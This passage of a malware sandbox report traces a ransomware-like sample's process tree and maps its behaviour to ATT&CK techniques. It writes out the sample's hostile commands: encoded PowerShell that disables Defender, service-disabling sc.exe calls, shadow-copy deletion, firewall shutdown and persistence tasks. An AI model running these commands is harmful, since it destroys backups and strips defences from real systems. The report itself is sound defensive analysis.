PID 5800 wrote to memory of 1464	5800	workrex.io_chrome.exe	144
PID 5800 wrote to memory of 4724	5800	workrex.io_chrome.exe	145
PID 5800 wrote to memory of 5592	5800	workrex.io_chrome.exe	146
PID 5800 wrote to memory of 4208	5800	workrex.io_chrome.exe	147
PID 5800 wrote to memory of 2572	5800	workrex.io_chrome.exe	148
PID 5800 wrote to memory of 5364	5800	workrex.io_chrome.exe	156
PID 1828 wrote to memory of 1888	1828	cmd.exe	185
PID 5032 wrote to memory of 592	5032	cmd.exe	158
PID 5592 wrote to memory of 4292	5592	cmd.exe	182
PID 1464 wrote to memory of 1640	1464	cmd.exe	160
PID 4208 wrote to memory of 1000	4208	cmd.exe	161
PID 4724 wrote to memory of 4348	4724	cmd.exe	162
PID 5388 wrote to memory of 4640	5388	cmd.exe	163
PID 4348 wrote to memory of 2724	4348	net.exe	164
PID 1828 wrote to memory of 2440	1828	cmd.exe	165
PID 5800 wrote to memory of 5028	5800	workrex.io_chrome.exe	166
PID 4480 wrote to memory of 2636	4480	chrome.exe	167
PID 4480 wrote to memory of 4192	4480	chrome.exe	168
PID 4480 wrote to memory of 4192	4480	chrome.exe	168
PID 4480 wrote to memory of 5772	4480	chrome.exe	169
PID 4480 wrote to memory of 5772	4480	chrome.exe	169
PID 5800 wrote to memory of 328	5800	workrex.io_chrome.exe	170
PID 5800 wrote to memory of 1244	5800	workrex.io_chrome.exe	171
PID 5800 wrote to memory of 912	5800	workrex.io_chrome.exe	172
PID 5800 wrote to memory of 1396	5800	workrex.io_chrome.exe	201
PID 5800 wrote to memory of 1568	5800	workrex.io_chrome.exe	199
PID 5800 wrote to memory of 4340	5800	workrex.io_chrome.exe	200
PID 4480 wrote to memory of 4292	4480	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://workrex.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0xcc,0x134,0x7fffd35fc728,0x7fffd35fc734,0x7fffd35fc740
    3⤵
    PID:5356
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1480,i,2987605427409693673,1300696128475794424,524288 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2180,i,14182709155658763707,2089177722352917947,524288 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=2272 /prefetch:13
    3⤵
    PID:2856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,15822996744646036837,9432561277040363859,262144 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:2520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3108,i,16056351334834315833,11091157611467993496,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:1
    3⤵
    PID:424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3116,i,17971327090466707872,11948764000075810397,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:1
    3⤵
    PID:4656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4628,i,12541796957201647264,11219559540902384649,524288 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:14
    3⤵
    PID:1688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4804,i,2021706463813629189,6820396790201264902,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:1
    3⤵
    PID:4408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4740,i,8440282797761557613,11855547347544722655,524288 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:14
    3⤵
    PID:2636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4720,i,8645619158808438645,6841116452844098119,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4696 /prefetch:1
    3⤵
    PID:4192
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4680,i,887970745821160844,14405928053953625735,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4636 /prefetch:1
    3⤵
    PID:5772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5700,i,570039574545412180,1169715231551264618,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:1
    3⤵
    PID:4292
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5580,i,18114802626418281390,3237440686862037120,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:1
    3⤵
    PID:2204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=4724,i,18195070074223311415,13181993205011864770,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:1
    3⤵
    PID:1432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6164,i,3191320035129547097,7585389454515936375,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4680 /prefetch:1
    3⤵
    PID:1900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=4948,i,3537987287986901027,3929161986936221411,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:1
    3⤵
    PID:5844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5952,i,6229883571554684714,9237966585848676575,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:1
    3⤵
    PID:3140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4908,i,3664549339826244022,13556941577907580596,524288 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:14
    3⤵
    PID:5908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4848,i,77687155982531176,17737763430970898513,524288 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4916 /prefetch:14
    3⤵
    PID:244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4856,i,14365243964805652741,16882169145690619428,524288 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
    3⤵
    PID:4576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5696,i,6142232721280236722,5295248023532434838,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:1
    3⤵
    PID:6044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4648,i,6980625469384734274,11331376019245813684,2097152 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:9
    3⤵
    PID:3784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5648,i,1585476398868152519,9126211823432301078,524288 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
    3⤵
    PID:1568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5536,i,4898741498439654520,15443508363360138817,524288 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=4612 /prefetch:14
    3⤵
    PID:4340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5636,i,11590301287073480395,13327202871495537658,524288 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:14
    3⤵
    PID:1396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5408,i,4321405419826373054,12161970915458177260,262144 --field-trial-handle=1904,i,13282922487787787556,12373828189583512678,262144 --variations-seed-version --mojo-platform-channel-handle=1120 /prefetch:10
    3⤵
    PID:5860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:6140
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4260
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1636
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1964
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1624
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3600
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1892
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe"
    3⤵
    PID:4176
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:740
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2700
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2312
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:704
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:304
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5072
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1888
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2440
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5388
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4640
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1640
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2724
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5592
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4292
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1688
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1000
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2572
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5364
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5028
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:328
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1244
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:912
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:824
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1568
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4340

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2880

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5060

C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe
1⤵
PID:312

C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\workrex.io_chrome.exe
1⤵
PID:4900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4712

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery